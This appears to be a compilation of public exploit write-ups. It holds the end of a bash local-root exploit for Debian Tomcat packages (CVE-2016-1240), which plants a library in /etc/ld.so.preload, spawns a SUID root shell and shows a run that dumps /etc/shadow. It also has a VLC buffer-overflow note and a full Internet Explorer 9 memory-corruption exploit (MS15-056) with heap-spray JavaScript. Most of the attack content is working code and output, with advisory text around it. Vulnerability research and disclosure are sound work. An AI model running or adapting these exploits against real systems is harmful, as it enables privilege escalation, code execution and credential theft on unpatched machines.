echo -e “\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)”
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
break;
fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e “\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`”
echo -e “\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload”
echo -e “\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`”

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e “\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!”
sudo –help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e “\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`”
echo -e “\n\033[94mPlease tell me you’re seeing this too 😉 \033[0m”
else
echo -e “\n[!] Failed to get root”
cleanexit 2
fi

# Execute the rootshell
echo -e “\n[+] Executing the rootshell $BACKDOORPATH now! \n”
$BACKDOORPATH -p -c “rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB”
$BACKDOORPATH -p

# Job done.
cleanexit 0

————–[ EOF ]——————–

Example exploit run:
~~~~~~~~~~~~~~

[email protected]:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[email protected]:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial

[email protected]:/tmp$ dpkg -l | grep tomcat
ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine — core libraries
ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine — common files

[email protected]:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out

Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by:

Dawid Golunski
http://legalhackers.com

[+] Starting the exploit in [active] mode with the following privileges:
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r–r– 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you’re seeing this too 😉

[+] Executing the rootshell /tmp/tomcatrootsh now!

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

[+] Cleaning up…

[+] Job done. Exiting with code 0

Video / Demo PoC:
~~~~~~~~~~~~~~~~

http://legalhackers.com/videos/Apache-Tomcat-DebPkg-Root-PrivEsc-Exploit.html
VI. BUSINESS IMPACT
————————-

Local attackers who have gained access to tomcat user account (for example
remotely via a vulnerable web application, or locally via weak webroot perms),
could escalate their privileges to root and fully compromise the affected system.
VII. SYSTEMS AFFECTED
————————-

The following Debian package versions are affected:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

A more detailed lists of affected packages can be found at:

Debian:
https://security-tracker.debian.org/tracker/CVE-2016-1240

Ubuntu:
http://www.ubuntu.com/usn/usn-3081-1/

Other systmes that use Tomcat packages provided by Debian may also be affected.
VIII. SOLUTION
————————-

Debian Security Team was contacted and has fixed affected upstream packages.
Update to the latest tomcat packages provided by your distribution.

IX. REFERENCES
————————-

http://legalhackers.com

http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

PoC / Demo video of the exploit:
http://legalhackers.com/videos/Apache-Tomcat-DebPkg-Root-PrivEsc-Exploit.html

The exploit’s sourcecode
http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh

CVE-2016-1240
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240

Ubuntu Security Notice USN-3081-1:
http://www.ubuntu.com/usn/usn-3081-1/

Debian Security Advisory DSA-3669-1 (tomcat7):
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669

Debian Security Advisory DSA-3670-1 (tomcat8):
https://www.debian.org/security/2016/dsa-3670

https://security-tracker.debian.org/tracker/CVE-2016-1240
X. CREDITS
————————-

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com

XI. REVISION HISTORY
————————-

30.09.2016 – Advisory released

XII. LEGAL NOTICES
————————-

The information contained within this advisory is supplied “as-is” with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

VideoLAN VLC Media Player 2.2.1 – ‘DecodeAdpcmImaQT’ Buffer Overflow

Author: Patrick Coleman

In modules/codec/adpcm.c, VLC can be made to perform an out-of-bounds
write with user-controlled input.

The function DecodeAdpcmImaQT at adpcm.c:595 allocates a buffer which
is filled with bytes from the input stream. However, it does not check
that the number of channels in the input stream is less than or equal
to the size of the buffer, resulting in an out-of-bounds write. The
number of channels is clamped at <= 5.

adpcm_ima_wav_channel_t channel[2];

for( i_ch = 0; i_ch < p_dec->fmt_in.audio.i_channels; i_ch++ )
{
channel[i_ch].i_predictor = (int16_t)((( ( p_buffer[0] << 1 )|(
p_buffer[1] >> 7 ) ))<<7);
channel[i_ch].i_step_index = p_buffer[1]&0x7f;

The mangling of the input p_buffer above and in
AdpcmImaWavExpandNibble() makes this difficult to exploit, but there
is a potential for remote code execution via a malicious media file.

POC:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov

Microsoft Internet Explorer jscript9 – Java­Script­Stack­Walker Memory Corruption (MS15-056)

<!--
Source: http://blog.skylined.nl/20161206001.html
Synopsis
A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Repro.html:
<!doctype html>
<script>
var o­Window = window.open("about:blank");
o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;')
try { "" + o­Window.o­URIError; } catch(e) { }
try { "" + o­Window.o­URIError; } catch(e) { }
</script>
Description
A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion.
MSIE attempts to handle this situation gracefully by generating a Java­Script exception. While generating the exception, information about the call stack is gathered using the Javascript­Stack­Walker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception.
This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below.
Exploit
As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used.
Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address.
The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2.
The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2.
When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow.
The below schematic shows the layout of the stack during the various stages of this exploit:
| |
|<- bottom of stack top of stack ->|
| |
| Stack layout at the moment the first exception is triggered: |
| |
| [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]|
| |
|{---------------} Stack space available is less than 4*N bytes |
| |
| ^^^ |
| Vulnerable pointer gets initialized to point around here |
| |
| |
| |
| Stack layout at the moment the second exception is triggered: |
| |
| [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]|
| |
|{--} Stack space available is less than 4*M bytes |
| |
| ^^^ |
| Vulnerable pointer still points around here, most likely at |
| one of the arguments pushed onto the stack in a call. |
| |
In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p­Target) that points to a dummy shellcode consisting of int3's at 0x28000300 (p­Shellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode.
Sploit.html:
-->
<!doctype html>
<script src="String.js"></script>
<script src="spray­Heap.js"></script>
<script>
function stack­Overflow­High­On­Stack() {
stack­Overflow­High­On­Stack.apply(0, new Array(0x2000));
}
function attack(p­Target) {
var ax­Args = [];
while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1);
exception­Low­On­Stack­With­Spray();
function exception­Low­On­Stack­With­Spray() {
try {
(function(){}).apply(0, ax­Args);
} catch (e) {
throw 0;
}
exception­Low­On­Stack­With­Spray.apply(0, ax­Args);
}
}
var p­Spray­Start­Address = 0x09000000;
var d­Heap­Spray­Template = {};
var p­Target = 0x28000201;
var p­Shellcode = 0x28000300;
d­Heap­Spray­Template[p­Target] = p­Shellcode;
d­Heap­Spray­Template[p­Shellcode] = 0x­CCCCCCCC;
window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template);
window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address);
var o­Window = window.open("about:blank");
function prepare() {
window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count);
for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) {
as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length);
}
}
o­Window.eval("(" + prepare + ")();");
try {
String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})"));
} catch(e) {
o­Window.eval("(" + attack + ")(" + p­Target + ")");
}
</script>
<!--
String.js:
String.from­Word = function (w­Value) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from­Char­Code(w­Value);
}
String.from­Words = function (aw­Values) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from­Char­Code.apply(0, aw­Values);
}
String.from­DWord = function (dw­Value) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16);
}
String.from­DWords = function (au­Values) {
var as­DWords = new Array(au­Values.length);
for (var i = 0; i < au­Values.length; i++) {
as­DWords[i] = String.from­DWord(au­Values[i]);
}
return as­DWords.join("");
}
String.prototype.repeat = function (u­Count) {
// Return the requested number of concatenated copies of the string.
var s­Repeated­String = "",
u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1);
for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) {
s­Repeated­String += s­Repeated­String;
if (u­Count & u­Bit) s­Repeated­String += this;
}
return s­Repeated­String;
}
String.create­Buffer = function(u­Size, u­Index­Size) {
// Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
// "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the 
// buffer will be filled with indices of said size (this is slower but useful for debugging).
if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3);
var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1);
var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte.
for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) {
if (u­Index­Size == 1) {
au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8);
} else {
// Set high bits to prevents both NULLs and valid pointers to userland addresses.
au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0);
}
}
return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes);
}
String.prototype.clone = function () {
// Create a copy of a BSTR in memory.
s­String = this.substr(0, this.length);
s­String.length;
return s­String;
}
String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) {
// Return a copy of a string with the given dword value stored at the given offset.
// u­Offset can be a value beyond the end of the string, in which case it will "wrap".
return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16);
}
String.prototype.replace­Word = function (u­Byte­Offset, w­Value) {
// Return a copy of a string with the given word value stored at the given offset.
// u­Offset can be a value beyond the end of the string, in which case it will "wrap".
if (u­Byte­Offset & 1) {
return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8);
} else {
var u­Char­Index = (u­Byte­Offset >>> 1) % this.length;
return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
}
}
String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) {
// Return a copy of a string with the given byte value stored at the given offset.
// u­Offset can be a value beyond the end of the string, in which case it will "wrap".
var u­Char­Index = (u­Byte­Offset >>> 1) % this.length,
w­Value = this.char­Code­At(u­Char­Index);
if (u­Byte­Offset & 1) {
w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8);
} else {
w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF);
}
return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
}
String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) {
// Return a copy of a BSTR with the given dword value store at the given offset.
if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned");
if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword.");
var u­Char­Index = u­Byte­Offset / 2 - 2;
if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL.");
return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2);
}
spray­Heap.js:
console = window.console || {"log": function(){}};
function bad(p­Address) {
// convert a valid 32-bit pointer to an invalid one that is easy to convert
// back. Useful for debugging: use a bad pointer, get an AV whenever it is
// used, then fix pointer and continue with exception handled to have see what
// happens next.
return 0x80000000 + p­Address;
}
function blanket(d­Spray_­dw­Value_­p­Address, p­Address) {
// Can be used to store values that indicate offsets somewhere in the heap
// spray. Useful for debugging: blanket region, get an AV at an address
// that indicates where the pointer came from. Does not overwrite addresses
// at which data is already stored.
for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) {
if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) {
d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset);
}
}
}
var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want?
var gu­Spray­Page­Size = 0x00001000; // block alignment.
// Different versions of MSIE have different heap header sizes:
var s­JSVersion;
try{
/*@cc_­on @*/
s­JSVersion = eval("@_jscript_­version");
} catch(e) {
s­JSVersion = "unknown"
};
var gu­Heap­Header­Size = {
"5.8": 0x24,
"9": 0x10, // MSIE9
"unknown": 0x10
}[s­JSVersion]; // includes BSTR length
var gu­Heap­Footer­Size = 0x04;
if (!gu­Heap­Header­Size)
throw new Error("Unknown script version " + s­JSVersion);
function create­Spray­Block(d­Spray_­dw­Value_­p­Address) {
// Create a spray "page" and store spray data at the right offset.
var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1);
for (var p­Address in d­Spray_­dw­Value_­p­Address) {
s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]);
}
// Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
// used by MSIE for larger heap allocations.
var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size);
var s­Spray­Block = (
s­Spray­Page.substr(gu­Heap­Header­Size >> 1) +
s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) +
s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1))
);
var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size;
if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size)
throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + ".");
console.log("create­Spray­Block():");
console.log(" s­Spray­Page.length: " + s­Spray­Page.length.to­String(16));
console.log(" u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16));
console.log(" s­Spray­Block.length: " + s­Spray­Block.length.to­String(16));
return s­Spray­Block;
}
function get­Heap­Block­Index­For­Address(p­Address) {
return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1;
}
function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
p­Start­Address = p­Start­Address || 0;
var p­Target­Address = 0x0;
for (var p­Address in d­Spray_­dw­Value_­p­Address) {
p­Target­Address = Math.max(p­Target­Address, p­Address);
}
u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size);
console.log("get­Spray­Block­Count():");
console.log(" p­Target­Address: " + p­Target­Address.to­String(16));
console.log(" u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16));
return u­Spray­Blocks­Count;
}
function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address);
// Spray the heap by making copies of the spray "block".
var as­Spray = new Array(u­Spray­Blocks­Count);
as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address);
for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) {
as­Spray[u­Index] = as­Spray[0].clone();
}
return as­Spray;
}
Time-line
13 October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
18 November 2012: This vulnerability was submitted to ZDI.
27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired.
7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable.
During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit.
April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit.
6 November 2014: ZDI was informed of the new analysis and reopens the case.
15 November 2014: This vulnerability was submitted to i­Defense.
16 November 2014: i­Defense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog.
17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak.
11 December 2012: This vulnerability was acquired by i­Defense.
The accidentally potential disclosure of vulnerability details by i­Defense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again.
9 June 2015: Microsoft addresses this vulnerability in MS15-056.
6 December 2016: Details of this vulnerability are released.
-->